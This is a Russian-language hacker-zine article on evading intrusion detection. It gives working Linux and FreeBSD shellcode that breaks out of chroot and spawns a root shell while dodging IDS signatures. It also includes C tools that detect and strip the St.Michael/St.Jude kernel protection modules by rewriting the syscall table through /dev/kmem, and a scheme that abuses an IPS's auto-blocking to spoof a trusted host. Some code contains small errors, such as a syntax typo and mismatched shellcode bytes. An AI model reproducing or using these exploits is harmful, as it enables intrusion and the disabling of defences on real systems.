..-----------------------------..
..       IDS  warez  bugz      ..
.._____________________________..


  C0nt3nt

   0x01    bypassing shellcodez detection
   0x02    lkm protection t00lz 0wnage (st.michael & st.jude)
   0x03    have fun with port-scanning detectorz / snifferz


 --[1]--  bypassing shellcodez detection


   Уже,  кажется, даже парни с RST поняли что некоторые ids могут запалить
   наш шеллкод.  Натужные попытки что-нибудь сделать  у ICWiener'а  и всей
   code_pimps не увенчались особым успехом - появились  какие-то чрезмерно
   хитроумные способы )),  хотя всё гораздо проще чем может  показаться. В
   общем  сейчас я расскажу как написать шеллкод без 0x90 и без \xcd\x80 (
   точнее, конечно, его просто не будет видно).


   Ну, от нопов избавиться можно легче лёгкого -юзай всякие арифметические
   операции над регистрами и не парься. Пример с %eax:

          incl %eax   // opcode 0x40
          decl %eax   // opcode 0x48
          ...
          xorl %eax,%eax
          bla-bla-bla

   Для особо одарённых - мы просто прибавляем, а потом вычитам единицу  из
   %eax.  По идее,  запаса 32-х битного регистра  хватит надолго,  так что
   можно ничего и не  вычитать. Подобных операций мы можем сгенерить кучу,
   так что ни под какие сигнатуры подогнать это не получится.  Вот  список
   опкодов самых простых операций над регистрами ebx,ecx,edx:

          incl %ebx   // opcode 0x43
          decl %ebx   // opcode 0x4b
          incl %ecx   // opcode 0x41
          decl %ecx   // opcode 0x49
          incl %edx   // opcode 0x42
          decl %edx   // opcode 0x4a


   Ещё одно слабое место - вызов прерываения 80h.  Но и для такой "траблы"
   есть решение: генерим код 0x80cd (такой byte order, благо x86 это у нас
   little endian) и кладём его в стек.  Потом создаём указатель на него, и
   обращаемся к нему через call. Итак, вот код под linux/x86:

   ## кладём такой код в стек:
    #
    #   clc
    #   int $0x80
    #   ret
   ##

     pushw $0xc380
     pushw $0xcdf8
     movl %esp, %eax
     pushl %eax
     movl %esp, %esi  # в %esi кладём указатель на него

   ##  chroot()  ##
     xorl %eax,%eax
     push %eax
     pushw $0x2f2f
     movl %esp,%ebx
     mov $61, %al
     call *(%esi)     # теперь просто обращаемся к нему

   ##  setuid()  ##
     xorl %eax,%eax
     xorl %ebx,%ebx
     mov $23, %al
     call *(%esi)

   ##  execve()  ##
     xorl %eax,%eax
     xorl %edx,%edx
     push %eax
     pushl $0x68732f6e
     pushl $0x69622f2f
     movl %esp, %ebx
     pushl %edx
     pushl %ebx
     movl %esp,%ecx
     movb $11,%al
     call *(%esi)


   Ну и собственно переведём его в ascii:

  /* Linux/x86 shellcode */
  /* init int_0x80 code in stack and pointer */

   "\x66\x68\x80\xc3"      //  	pushw  $0xc380
   "\x66\x68\x90\xcd"      //  	pushw  $0xcd90
   "\x89\xe0"              //  	movl   %esp,%eax
   "\x50"                  //  	push   %eax
   "\x89\xe6"              //  	movl   %esp,%esi

  /* chroot() */

   "\x31\xc0"              //  	xorl   %eax,%eax
   "\x50"                  //  	push   %eax
   "\x66\x68\x2f\x2f"      //  	pushw  $0x2f2f
   "\x89\xe3"              //  	movl   %esp,%ebx
   "\xb0\x3d"              //  	mov    $0x3d,%al
   "\xff\x16"              //  	call   *(%esi)

  /* setuid() */

   "\x31\xc0"              //  	xorl   %eax,%eax
   "\x31\xdb"              //  	xorl   %ebx,%ebx
   "\xb0\x17"              //  	mov    $0x17,%al
   "\xff\x16"              //  	call   *(%esi)

  /* execve() */

   "\x31\xc0"              //  	xorl   %eax,%eax
   "\x31\xd2"              //  	xorl   %edx,%edx
   "\x50"                  //  	push   %eax
   "\x68\x6e\x2f\x73\x68"  //  	push   $0x68732f6e
   "\x68\x2f\x2f\x62\x69"  //  	push   $0x69622f2f
   "\x89\xe3"              //  	movl   %esp,%ebx
   "\x52"                  //  	push   %edx
   "\x53"                  //  	push   %ebx
   "\x89\xe1"              //  	movl   %esp,%ecx
   "\xb0\x0b"              //  	mov    $0xb,%al
   "\xff\x16"              //  	call   *(%esi)

  /* total 59 bytes */


   С BSD-системами всё аналогично:

   ##  init int_80h code in stack
     pushw $0xc380
     pushw $0xcdf8
     movl %esp,%eax
     pushl %eax
     movl %esp,%edx  # сохраняем наш pointer в %edx
                     # (т.к. все аргументы идут через стек мы можем занять
                     # регистры %ebx, %ecx, %edx)

   ##  setuid()  ##
     xorl %eax,%eax
     pushl %eax
     pushl $23
     call *(%edx)  # и обращяемся к указателю (к сожалению, мы не можем юзать
                   # %esi как хотим в freebsd даже в режиме пользователя)

   ##  execve()  ##
     xor %eax,%eax
     pushl %eax
     pushl $0x68732f6e
     pushl $0x69622f2f
     movl %esp,%ebx
     pushl %eax
     pushl %ebx
     movl %esp,%ecx
     pushl %eax
     pushl %ecx
     pushl %ebx
     pushl $59
     call *(%edx)


   И, наконец, переведём его в ascii:

  /* FreeBSD/x86 shellcode */
  /* init int_0x80 code in stack and pointer */

   "\x66\x68\x80\xc3"      // pushw  $0xc380
   "\x66\x68\xf8\xcd"      // pushw  $0xcdf8
   "\x89\xe0"              // movl   %esp,%eax
   "\x50"                  // pushl  %eax
   "\x89\xe2"              //	movl   %esp,%edx

  /* setuid() */

   "\x31\xc0"              // xorl   %eax,%eax
   "\x50"                  // pushl  %eax
   "\x6a\x17"              // pushl  $0x17
   "\xff\x12"              //	call   *(%edx)

  /* execve() */

   "\x31\xc0"              // xorl   %eax,%eax
   "\x50"                  // pushl  %eax
   "\x68\x6e\x2f\x73\x68"  //	pushl  $0x68732f6e
   "\x68\x2f\x2f\x62\x69"  //	pushl  $0x69622f2f
   "\x89\xe3"              // movl   %esp,%ebx
   "\x50"                  // pushl  %eax
   "\x53"                  // pushl  %ebx
   "\x89\xe1"              // movl   %esp,%ecx
   "\x50"                  // pushl  %eax
   "\x51"                  // pushl  %ecx
   "\x53"                  // pushl  %ebx
   "\x6a\x3b"              // pushl  $0x3b
   "\xff\x12"              //	call   *(%edx)

  /* total 46 bytes */




 --[2]--  lkm protection t00lz 0wnage (st.michael & st.jude)


   Теперь поговорим о таком тупом варезе, как защищающие lkm-ы.  На данный
   момент  существует  две наиболее известных  таких проги  -  St.Michael,
   которая должна защищать ядро от изменений в sys_call_table,  и St.Jude,
   которая  вроде как должна  следить за действиями юзерофф.  Сразу  стоит
   отметить, что у Timothy Lalwess'a это получилось неважно )


   Точнее сказать,  что проги может и пашут нормально,  но мы сразу  же их
   выкинем из ядра. Сперва о том, как они туда подсаживаются:

   /* из StMichael_lkm.c */

     (void *) orig_init_module = sys_call_table[__NR_init_module];
     (void *) orig_delete_module = sys_call_table[__NR_delete_module];
     (void *) orig_exit = sys_call_table[__NR_exit];
     (void *) orig_create_module = sys_call_table[__NR_create_module];

 #if defined(FSCHECK) || defined(ROKMEM) || defined(REALLY_IMMUTABLE)
     (void *) sm_open = sys_call_table[__NR_open];
     (void *) sm_close = sys_call_table[__NR_close];
 #endif

     (void *) syscall_reboot = sys_call_table[__NR_reboot];
     (void *) syscall_sync = sys_call_table[__NR_sync];

     sys_call_table[__NR_init_module] = (void *) sm_init_module;
     sys_call_table[__NR_delete_module] = (void *) sm_delete_module;
     sys_call_table[__NR_create_module] = (void *) sm_create_module;
     sys_call_table[__NR_exit] = (void *) sm_exit;


   Тоесть идёт перехват системных  вызовов,  с помощью которых якобы хакер
   должен подсаживать свой lkm. А вот с /dev/kmem вышла  промашка:  мы как
   минимум можем определить наличие этой твари в системе, т.к. если  она и
   блокирует  нам запись в /dev/kmem,  то хоть читать-то  его мы можем,  а
   этого  достаточно.  St.Jude, кстати,  основана  на  St.Michael в  плане
   перехвата init_module/etc так что данный метод действует и на неё:

 /*
    fuck_stz.c

     St.Michael or St.Jude detector

     (c) russian underground community
 */

 #include <stdio.h>
 #include <fcntl.h>
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <asm/unistd.h>

 unsigned long ma_atol(char *p)
 {
   int i;
   unsigned long tmp,fs,res=0;
   char v[8];

   memcpy(&v,p,8);
   fs = 65536 * 256;
 
   for(i=0; i<8; i+=2){

     if (v[i] == 0x30) tmp = 0;
     if (v[i] == 0x31) tmp = 16;
     if (v[i] == 0x32) tmp = 32;
     if (v[i] == 0x33) tmp = 48;
     if (v[i] == 0x34) tmp = 64;
     if (v[i] == 0x35) tmp = 80;
     if (v[i] == 0x36) tmp = 96;
     if (v[i] == 0x37) tmp = 112;
     if (v[i] == 0x38) tmp = 128;
     if (v[i] == 0x39) tmp = 144;
     if (v[i] == 0x61) tmp = 160;
     if (v[i] == 0x62) tmp = 176;
     if (v[i] == 0x63) tmp = 192;
     if (v[i] == 0x64) tmp = 208;
     if (v[i] == 0x65) tmp = 224;
     if (v[i] == 0x66) tmp = 240;

     if (v[i+1] == 0x31) tmp += 1;
     if (v[i+1] == 0x32) tmp += 2;
     if (v[i+1] == 0x33) tmp += 3;
     if (v[i+1] == 0x34) tmp += 4;
     if (v[i+1] == 0x35) tmp += 5;
     if (v[i+1] == 0x36) tmp += 6;
     if (v[i+1] == 0x37) tmp += 7;
     if (v[i+1] == 0x38) tmp += 8;
     if (v[i+1] == 0x39) tmp += 9;
     if (v[i+1] == 0x61) tmp += 10;
     if (v[i+1] == 0x62) tmp += 11;
     if (v[i+1] == 0x63) tmp += 12;
     if (v[i+1] == 0x64) tmp += 13;
     if (v[i+1] == 0x65) tmp += 14;
     if (v[i+1] == 0x66) tmp += 15;
   
     res += tmp * fs;
     fs /= 256;
   }

   return res;
 }


 int main( int argc, char *argv[])
 {
   int fd,kmem, syscall;
   long addr1, addr2, sct;
   char rec[9]; // conf file record line

   if (argc < 2){
     printf("Usage: %s sys_call_num \n",argv[0]);
     exit(1);
   }

   syscall = atoi(argv[1]);

   fd = open("/tmp/conf",O_RDONLY);

   if (fd < 0){
     printf("[-] cant open /tmp/conf!\n");
     exit(1)'
   }

   chdir("/dev");
   kmem = open("./kmem", O_RDONLY);

   if (kmem < 0){
     printf("[-] cant read /dev/kmem! Maybe St.Michael/Jude blocks j00?\n");
     close(fd);
     exit(1);
   }

   read(fd, &rec, 9);
   sct = ma_atol((char *)&rec);
   printf("get addr of sys_call_table %x\n",sct);

   read(fd, &rec, 9);
   addr1 = ma_atol((char *)&rec);

   lseek(kmem, sct + syscall*4, SEEK_SET);
   read(kmem, &addr2, 4);

   if (addr1 != addr2) printf("St.Michael or St.Jude in system!\n");
   else printf("Everythin' is ok!\n");

   close(kmem);
   close(fd);
   exit(0);
 }


   Вот как юзать этот детектор:

    satanix~># pwd
    /tmp

    satanix~># cat /boot/System.map | grep -a " sys_call"
    c0227240 D sys_call_table

    satanix~># echo c0227240 > ./conf
    satanix~># cat /boot/System.map | grep -a "T init_modules"
    c0244420 T init_modules

    satanix~># echo c0244420 >> ./conf
    satanix~># gcc -o fuckem fuck_stz.c
    satanix~># cat /usr/include/asm/unistd.h | grep init_mod
    #define __NR_init_module	128

    satanix~># ./fuckem 128
    St.Michael or St.Jude in system!

    satanix~>#

   Всё просто и легко )) Собственно, алгоритм проги, выкидывающей из  ядра
   всю эту st-нечисть простой: чекаем адреса функций по sys_call_table,  и
   если  что-то  не  совпадает,  вписываем  туда  адрес  этой  функции  из
   System.map. А вот и пример:


 /*
               !!! St.Michael / St.Jude remover !!!

  St.Michael wraps this syscalls:

   init_module
   delete_module
   create_module
   exit

  St.Jude aslo wraps this:

   init_module
   delete_module
   create_module
   exit

   fork
   vfork
   clone
   setuid
   setreuid
   execve


   (c) russian underground community
 */

 #include <stdio.h>
 #include <unistd.h>
 #include <fcntl.h>
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <asm/unistd.h>

 #include "ma_atol.h"


 int main( int argc, char *argv[])
 {
   int i, fd, kmem, syscall;
   unsigned int dumb;
   unsigned long orig, cur, sct;
   char rec[9]; // conf file record line

   if (argc < 2){
     printf("Usage: %s type \n types: \n  1\t\t St.Michael\n  2\t\t St.Jude\n",
       argv[0]);
     exit(1);
   }

   dumb = atoi(argv[1]);

   if (dumb != 1 && dumb != 2){
     printf("bad mode\n");
     exit(1);
   }

   fd = open("/tmp/conf",O_RDONLY);

   if (fd < 0){
  
     printf("cant open /tmp/conf!\n");
     exit(1);
    
   }

   chdir("/dev");

   kmem = open("./kmem", O_RDWR);

   if (kmem < 0){
     printf("[-] can't access to /dev/kmem! Some asshole blocks you\n");
     close(fd);
     exit(1);
   }

   read(fd, &rec, 9);
   sct = ma_atol((char *)&rec);
   printf("get addr of sys_call_table %x\n",sct);


 /* check init_module() */
   read(fd, &rec, 9);
   orig = ma_atol((char *)&rec);

   lseek(kmem, sct + __NR_init_module*4, SEEK_SET);
   read(kmem, &cur, 4);
 
   if (orig != cur){

     lseek(kmem, sct + __NR_init_module*4, SEEK_SET);
     write(kmem, &orig, 4);
     printf("[+] init_module() addr fixed succesfully (%x from %x)!\n",orig,cur);

   }



 /* check delete_module() */
   read(fd, &rec, 9);
   orig = ma_atol((char *)&rec);

   lseek(kmem, sct + __NR_delete_module*4, SEEK_SET);
   read(kmem, &cur, 4);

   if (orig != cur){

     lseek(kmem, sct + __NR_delete_module*4, SEEK_SET);
     write(kmem, &orig, 4);
     printf("[+] delete_module() addr fixed succesfully (%x from %x)!\n",orig,cur);

   }


 /* check create_module() */
   read(fd, &rec, 9);
   orig = ma_atol((char *)&rec);

   lseek(kmem, sct + __NR_create_module*4, SEEK_SET);
   read(kmem, &cur, 4);

   if (orig != cur){

     lseek(kmem, sct + __NR_create_module*4, SEEK_SET);
     write(kmem, &orig, 4);
     printf("[+] create_module() addr fixed succesfully (%x from %x)!\n",orig,cur);

   }


 /* check sys_exit() */
   read(fd, &rec, 9);
   orig = ma_atol((char *)&rec);

   lseek(kmem, sct + __NR_exit*4, SEEK_SET);
   read(kmem, &cur, 4);

   if (orig != cur){

     lseek(kmem, sct + __NR_exit*4, SEEK_SET);
     write(kmem, &orig, 4);
     printf("[+] sys_exit() addr fixed succesfully (%x from %x)!\n",orig,cur);

   }

   if (dumb == 1){

     printf("done!\n");
     close(kmem);
     close(fd);
     exit(0);

   }

 /* now let'z kick St.Jude's ass!! */

 /* check fork */
   read(fd, &rec, 9);
   orig = ma_atol((char *)&rec);

   lseek(kmem, sct + __NR_fork*4, SEEK_SET);
   read(kmem, &cur, 4);

   if (orig != cur){

     lseek(kmem, sct + __NR_fork*4, SEEK_SET);
     write(kmem, &orig, 4);
     printf("[+] fork() addr fixed succesfully (%x from %x)!\n",orig,cur);

   }


 /* check vfork */
   read(fd, &rec, 9);
   orig = ma_atol((char *)&rec);

   lseek(kmem, sct + __NR_vfork*4, SEEK_SET);
   read(kmem, &cur, 4);

   if (orig != cur){

     lseek(kmem, sct + __NR_vfork*4, SEEK_SET);
     write(kmem, &orig, 4);
     printf("[+] vfork() addr fixed succesfully (%x from %x)!\n",orig,cur);

   }


 /* check clone */
   read(fd, &rec, 9);
   orig = ma_atol((char *)&rec);

   lseek(kmem, sct + __NR_clone*4, SEEK_SET);
   read(kmem, &cur, 4);

   if (orig != cur){

     lseek(kmem, sct + __NR_clone*4, SEEK_SET);
     write(kmem, &orig, 4);
     printf("[+] clone() addr fixed succesfully (%x from %x)!\n",orig,cur);

   }



 /* check setuid */
   read(fd, &rec, 9);
   orig = ma_atol((char *)&rec);

   lseek(kmem, sct + __NR_setuid*4, SEEK_SET);
   read(kmem, &cur, 4);

   if (orig != cur){

     lseek(kmem, sct + __NR_setuid*4, SEEK_SET);
     write(kmem, &orig, 4);
     printf("[+] setuid() addr fixed succesfully (%x from %x)!\n",orig,cur);

   }


 /* check setreuid */
   read(fd, &rec, 9);
   orig = ma_atol((char *)&rec);

   lseek(kmem, sct + __NR_setreuid*4, SEEK_SET);
   read(kmem, &cur, 4);

   if (orig != cur){

     lseek(kmem, sct + __NR_setreuid*4, SEEK_SET);
     write(kmem, &orig, 4);
     printf("[+] setreuid() addr fixed succesfully (%x from %x)!\n",orig,cur);

   }


 /* check execve */
   read(fd, &rec, 9);
   orig = ma_atol((char *)&rec);

   lseek(kmem, sct + __NR_execve*4, SEEK_SET);
   read(kmem, &cur, 4);

   if (orig != cur){

     lseek(kmem, sct + __NR_execve*4, SEEK_SET);
     write(kmem, &orig, 4);
     printf("[+] execve() addr fixed succesfully (%x from %x)!\n",orig,cur);

   }

   printf("well done!\n");

   close(kmem);
   close(fd);
   exit(0);
 }


   И небольшой конфигуратор к нему:

 #!/bin/sh

 cd /boot/
 cat System.map | grep -a "D sys_call" >/tmp/conf.0
 cat System.map | grep sys_init >>/tmp/conf.0
 cat System.map | grep sys_delete >>/tmp/conf.0
 cat System.map | grep sys_create >>/tmp/conf.0
 cat System.map | grep -a "T sys_exit" >>/tmp/conf.0

 cat System.map | grep sys_fork >>/tmp/conf.0
 cat System.map | grep sys_vfork >>/tmp/conf.0
 cat System.map | grep sys_clone >>/tmp/conf.0

 cat System.map | grep sys_setuid | head -1 >>/tmp/conf.0
                    # mb u need setuid16 !! Just change 'head -1' to 'tail -1'
 cat System.map | grep sys_setreuid | head -1 >>/tmp/conf.0
                    # mb u need setreuid16 here!! change 'head -1' to 'tail -1'

 cat System.map | grep sys_execve >>/tmp/conf.0

 cd /tmp/
 cat conf.0 | awk -F " " '{print $1}' >>conf
 echo "config generation done!"
 # _eof_

   К сожалению, на моей системе St.Jude лишь валит ядро, так что я не могу
   искать  способы обхода  ограничений для  пользователей.  Одного анализа
   кода мало, чтобы что-то констатировать.  Кроме того, я  слишом  ленивый
   чтобы обновить ядро ;P Может в следующий раз?




 --[3]--  have fun with port-scanning detectorz / snifferz


   Это на самом деле очень и очень приятная категория софта. В большинстве
   своём они  слушают входящий  трафик, логируют пакеты и заодно выполняют
   ещё какие-нибудь действия (то что нам нужно  -  бан )).  Что мы можем с
   этого получить?


   1. Если в системе стоят какие-нить IPS  (Intrusion  Prevention System),
   которые следят за логами, то мы можем, конечно в  зависимости от  того,
   что за софт снифает сеть, писать в эти логи, засовывая в пакеты  ascii-
   символы.  Таким образом  мы можем  подогнать  запись  под  определённую
   сигнатуру и заставить IPS выполнить какое-то действие.


   2. Самое инетерсное тут - каждая такая IPS при обнаружении сканирования
   пытается заблокировать атакующего. И что нам это даёт? Отличные условия
   для проведения спуфинга ))  Имперсонируемый  хост не будет  отвечать на
   запросы атакуемого сервера, т.к. считает его угрозой (мы  тем  временем
   имитируем сканирования  с  атакуемого  хоста), ну  а  нам остаётся лишь
   перебрать нужные варианты =)


     phase 1.
                         6.6.6.13
                      host X  (attacker)
                  .//'
                 .//'
                .//'  имитируем сканирование c хоста B
               .//'
               1/
          host A                                host B
        (here IPS)                       (old rsh-server, trusted host 13.6.6.6)
         13.6.6.6                               13.0.0.7


     phase 2.

                       6.6.6.13
                     host X (attacker)
                                    '\\.
                                     '\\.  start spoofing
                                      '\\.
                                       '\\.       ( src_ip: 13.6.6.6 )
                                         \1
          host A      reply packets     host B
        (here IPS)  <============== (old rsh-server)
         13.6.6.6                       13.0.0.7

   хост А игнорирует
   пакеты с хоста В и тем самым
   даёт нам провести успешную атаку.


.e.o.f.